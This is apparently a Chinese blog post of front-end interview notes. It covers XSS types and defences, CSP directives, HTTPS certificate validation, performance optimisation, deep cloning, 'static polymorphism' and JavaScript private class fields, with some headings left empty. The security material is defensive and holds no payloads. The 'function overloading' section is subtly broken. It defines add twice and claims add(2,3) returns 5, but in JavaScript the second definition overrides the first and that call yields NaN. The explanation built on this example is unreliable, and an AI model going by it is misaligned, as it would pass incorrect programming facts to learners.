    • 反射型 XSS:服务器在这种攻击中起到了关键作用,因为它回显了攻击载荷。如果您捕获并查看服务器的响应,您应该能够看到恶意脚本。
    • DOM 型 XSS:攻击完全在浏览器端发生,服务器端的响应通常不包含恶意脚本。攻击载荷是由浏览器端的代码(如 JavaScript)处理并执行的。
  3. 防御方法

    • 反射型 XSS:需要确保服务器正确地验证、清理和转义所有从用户接收的数据,然后再将其插入到返回的 HTML 中。
    • DOM 型 XSS:除了服务器端的防御措施外,还需要确保客户端的 JavaScript 代码不会不安全地处理和执行用户数据。

c.内容安全策略CSP是什么?

内容安全策略(Content Security Policy,CSP)是一个非常强大的安全特性,用于减少跨站脚本攻击(XSS)和其他代码注入攻击的风险。当你深入学习CSP时,以下是一些核心方面和概念,你应该重点了解:

  1. CSP的基本概念

    • 目的:CSP是一个强大的工具,可以帮助网站所有者增加对站点内容的控制,从而减少受到各种攻击的风险。
    • 工作方式:CSP是通过定义内容来源白名单来限制资源加载的。
  2. 指令:CSP包含了多种指令来控制不同类型的资源的加载:

    • default-src: 默认策略,如果没有指定其他指令,该策略会被使用。
    • script-src: 控制脚本的来源。
    • style-src: 控制样式表的来源。
    • img-src: 控制图像的来源。
    • font-src: 控制字体的来源。
    • connect-src: 控制与哪些服务器可以建立连接(例如使用fetch或XHR)。
    • frame-src: 控制可以嵌入页面的iframe的来源。
    • …以及更多其他指令。
  3. 来源值

    • 'self': 只允许从同源加载。
    • 'unsafe-inline': 允许内联脚本和样式。
    • 'unsafe-eval': 允许使用eval()和相关函数。
    • nonce-: 允许指定一个随机令牌,只有与此令牌匹配的脚本或样式才会被执行。
    • hash-: 允许基于内容哈希值的特定脚本或样式。
  4. 报告

    • report-uri: 如果有违反CSP策略的加载尝试,告诉浏览器将违规报告发送到哪里。
    • report-to: 新的报告端点定义,它更灵活并取代了report-uri
  5. 模式:了解CSP可以工作在两种主要模式:

    • 强制模式:不符合策略的内容不会被加载或执行。
    • 报告模式:不符合策略的内容会被加载和执行,但会向指定的URL发送违规报告。

五、HTTP与HTTPS、第三方证书工作原理、以及HTTP各个版本

HTTP各个版本

HTTP(Hypertext Transfer Protocol)和HTTPS(HTTP Secure)是用于在客户端和服务器之间传输数据的协议,它们在以下几个方面有所区别:

  1. 安全性:
  • HTTP是明文协议,数据在传输过程中不加密,容易被窃取和篡改。而HTTPS通过使用SSL/TLS协议对数据进行加密,确保传输的数据是安全的,可以有效防止中间人攻击和数据泄露(不能完全防止中间人攻击:篡改受信任的根证书颁发机构、劫持证书颁发机构的私钥等)。
  • HTTPS使用数字证书对数据进行数字签名,确保传输的数据在传输过程中没有被篡改或修改。客户端可以验证证书的合法性,确保与服务器建立的连接是可信的。
  1. 默认端口:HTTP使用80端口进行通信,而HTTPS使用443端口进行通信。

对于第三方证书如何保证服务器的可信性,这涉及到公开密钥基础设施(PKI)的工作原理。具体步骤如下:

  1. 服务器生成密钥对:服务器首先生成一个密钥对,包括公钥和私钥。

  2. 证书请求:服务器将公钥发送给受信任的第三方机构(证书颁发机构,CA),请求颁发证书。

  3. 验证身份:证书颁发机构验证服务器的身份。

  4. 颁发证书:一旦服务器的身份验证通过,证书颁发机构会生成证书并将其签名。证书中包含了服务器的公钥以及其他相关信息。

  5. 客户端验证:当客户端与服务器建立HTTPS连接时,服务器会将证书发送给客户端。客户端会验证证书的合法性,包括检查证书的签名、过期时间、颁发机构等。

  6. 可信根证书:客户端会使用自己内置的受信任的根证书(Root CA)来验证服务器证书的合法性。如果证书链可以追溯到受信任的根证书,且没有被撤销或过期,客户端会信任服务器的证书。

六.前端如何性能优化

前端性能优化是提高网页加载速度和响应性能的关键方面。以下是一些常见的前端性能优化技巧:

  1. 减少 HTTP 请求:减少网页需要发送的 HTTP 请求次数,可以通过合并和压缩文件、使用 CSS 精灵图、减少第三方库和插件的使用等方式来实现。

  2. 压缩文件:压缩 CSS、JavaScript 和 HTML 文件,可以减小文件大小,加快下载速度。可以使用压缩工具(如UglifyJS、CSSNano等)或使用构建工具(如Webpack、Gulp)进行文件压缩。

  3. 使用浏览器缓存:通过设置适当的缓存头(Cache-Control、Expires等),使得浏览器可以缓存静态资源,减少不必要的请求和下载。

  4. 图片优化:对图片进行优化,包括压缩图片大小、选择合适的图片格式(如JPEG、PNG、WebP)以及使用图片懒加载等技术来减少页面加载时间。

  5. 延迟加载:延迟加载非关键内容,如图片、视频、广告等,可以通过懒加载技术(如Intersection Observer API)来实现,以提高初始页面加载速度。

  6. 代码优化:优化 JavaScript 和 CSS 代码,包括删除不必要的注释和空格、减少重绘和重排、避免不必要的计算和循环等,以提高执行效率。

  7. 使用 CDN:将静态资源(如图片、CSS、JavaScript文件)托管到内容分发网络(CDN)上,可以提高资源加载速度,减少服务器负载。

  8. 预加载和预渲染:使用预加载(Preload)和预渲染(Prerender)技术,提前加载和渲染关键资源和页面,以加快用户访问体验。

  9. 响应式设计:采用响应式设计,使网页能够适应不同屏幕尺寸和设备,提供更好的用户体验。

  10. 代码分割和按需加载:将大型应用程序拆分为小模块,并按需加载,以避免不必要的资源加载和初始化,提高页面加载速度。

  11. 监测和分析:使用工具(如Lighthouse、WebPageTest、Google Analytics等)监测和分析网页性能,找出性能瓶颈,并针对性地进行优化。

以上是一些常见的前端性能优化技巧,具体的优化策略和技术选择应根据项目需求和实际情况进行评估和实施。重要的是不断测试和测量优化的效果,并进行持续改进。

七、OSI七层模型、TCP/IP四层模型

OSI七层模型、TCP/IP四层模型

12.怎么传递引用类型而互不影响 ?(深拷贝)

当传递引用类型(如对象、数组)时,你实际上是传递了一个指向原始数据的指针或引用。因此,如果你修改了传递后的引用,原始数据也会受到影响。为了避免这种情况,你可以进行“深复制”或“深克隆”以创建原始数据的一个完整副本,这样原始数据和副本之间就不会相互影响。

以下是一些常用方法来传递引用类型并确保它们互不影响:

  1. 使用 JSON 方法
    这是一个简单的方法,但有局限性(例如,它不能处理函数、undefined、正则表达式或新的数据类型如 MapSet)。

    var original = { a: 1, b: { c: 2 } };
    var copy = JSON.parse(JSON.stringify(original));
    
  2. 使用递归方法进行深克隆

    function deepClone(obj, hash = new WeakMap()) {
        if (obj == null) return obj; // 如果是null或undefined,直接返回
        if (obj instanceof RegExp) return new RegExp(obj);
        if (obj instanceof Date) return new Date(obj);
        
        if (hash.has(obj)) return hash.get(obj); // 防止循环引用
    
        let t = new obj.constructor();
        hash.set(obj, t);
    
        for (let key in obj) {
            if (obj.hasOwnProperty(key)) {
                t[key] = deepClone(obj[key], hash);
            }
        }
        return t;
    }
    
    var original = { a: 1, b: { c: 2 } };
    var copy = deepClone(original);
    
  3. 使用第三方库
    例如,lodash 提供了一个 cloneDeep 方法,可以用来进行深克隆。

    var _ = require('lodash');
    var original = { a: 1, b: { c: 2 } };
    var copy = _.cloneDeep(original);
    

这些方法可以确保你传递的引用类型数据互不影响。但在使用时,你应该考虑到深克隆可能会比浅克隆或直接传递引用更加耗时,尤其是在处理大数据结构时。

13.静态多态

在前端面试中,"静态多态"是一个常见的概念,通常与面向对象编程(Object-Oriented Programming,简称OOP)相关。

静态多态(Static Polymorphism)也被称为编译时多态或早期绑定(Early Binding),它是在编译时确定方法调用的一种特性。在静态多态中,方法重载是最常见的应用形式。

方法重载是指在同一个类中定义多个具有相同名称但参数列表不同的方法。通过重载,可以根据传递给方法的参数的类型、数量或顺序来决定具体调用哪个方法。这种静态多态性是通过编译器在编译时根据方法的签名来确定的。

静态多态的一个示例是在前端开发中使用的函数重载。在JavaScript中,函数重载是一种模拟静态多态的技术,因为JavaScript不直接支持方法重载。通过在函数内部根据参数的类型和数量进行条件判断,可以实现不同的函数行为。

下面是一个简单的JavaScript函数重载示例:

function add(x, y) {
  return x + y;
}

function add(x, y, z) {
  return x + y + z;
}

console.log(add(2, 3)); // 输出 5
console.log(add(2, 3, 4)); // 输出 9

在上面的例子中,通过定义两个同名但参数个数不同的函数add,实现了根据参数个数的不同来执行不同的加法操作。

总结来说,静态多态是指在编译时根据方法的签名来确定方法调用的特性。在前端开发中,函数重载是一种模拟静态多态的技术,可以根据参数的类型、数量或顺序来实现不同的函数行为。

14.怎么用js实现类的修饰符 private public

在 JavaScript 中,从 ES6(ES2015)开始,我们可以使用类(classes)来定义对象的结构和方法。但是,直到 ES2020,JavaScript 的类并没有提供原生的 privatepublic 修饰符。ES2020 为类引入了真正的私有字段和方法,这为 JavaScript 开发者提供了一种确保数据封装和私有状态的方式。

以下是如何在 JavaScript 中使用 privatepublic 修饰符:

  1. public(默认情况下)

    所有没有使用任何修饰符的属性和方法默认都是公有的。你不需要显式地标注它们为 public

    class MyClass {
      publicField = "I'm public!"; // public by default
    
      publicMethod() {
        console.log("Hello from a public method!");
      }
    }
    
    const instance = new MyClass();
    console.log(instance.publicField); // I'm public!
    instance.publicMethod(); // Hello from a public method!
    
  2. private

    在属性或方法的名称前使用 # 可以将其标记为私有。私有字段或方法不能从类的外部访问。

    class MyClass {
      #privateField = "I'm private!";
    
      #privateMethod() {
        console.log("Hello from a private method!");
      }
    
      accessPrivate() {
        console.log(this.#privateField);
        this.#privateMethod();
      }
    }
    
    const instance = new MyClass();
    // console.log(instance.#privateField); // Error! Private field
    // instance.#privateMethod();          // Error! Private method
    instance.accessPrivate(); // This will access the private field and method
    

注意,真正的私有类字段和方法在旧的浏览器或 JavaScript 环境中可能不受支持。在使用前,请确保你的目标环境支持 ES2020 或更高版本的功能。

进程和线程
深度优先遍历和广度优先遍历
diff算法
react原理fiber调度算法

以下是与浏览器相关的一些面试题,这些问题涵盖了浏览器的基础知识、性能、安全性以及与前端开发相关的细节:

渲染 & 性能:

  1. 如何优化前端性能?
  2. 什么是浏览器的同源策略?它为什么重要?

缓存:
9. 什么是浏览器缓存?描述其工作原理。
10. Cache-Control 的作用是什么?请解释它的一些常用值。
11. ETag 和 Last-Modified 的区别是什么?

安全性:
12. 描述XSS和CSRF攻击,以及如何防御。
13. Content Security Policy (CSP) 是什么?
14. 为什么HTTPS是安全的?它与HTTP有何不同?

存储 & Cookies:
15. 描述cookie、localStorage、sessionStorage和indexedDB的区别。
16. Cookie 的SameSite属性是什么?为什么它重要?

网络 & HTTP:
17. 请描述HTTP和HTTP/2的主要区别。
18. 什么是CORS?如何在前端中处理跨域请求?
19. 什么是WebSocket?与常规HTTP请求有何不同?

前端开发:
20. 如何检测用户的浏览器类型和版本?
21. 什么是浏览器的用户代理(User Agent)?
22. 为什么移动端的浏览器通常比桌面端的浏览器功能更少?

其它:
23. 描述Web Workers和其用途。
24. Progressive Web Apps (PWA) 是什么?它的主要优势是什么?
25. 什么是Service Worker?

当然,每个问题都可以根据其深度进一步拆分,这只是与浏览器相关面试题的一个简单大纲。希望对您有所帮助!

什么是浏览器的同源策略

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值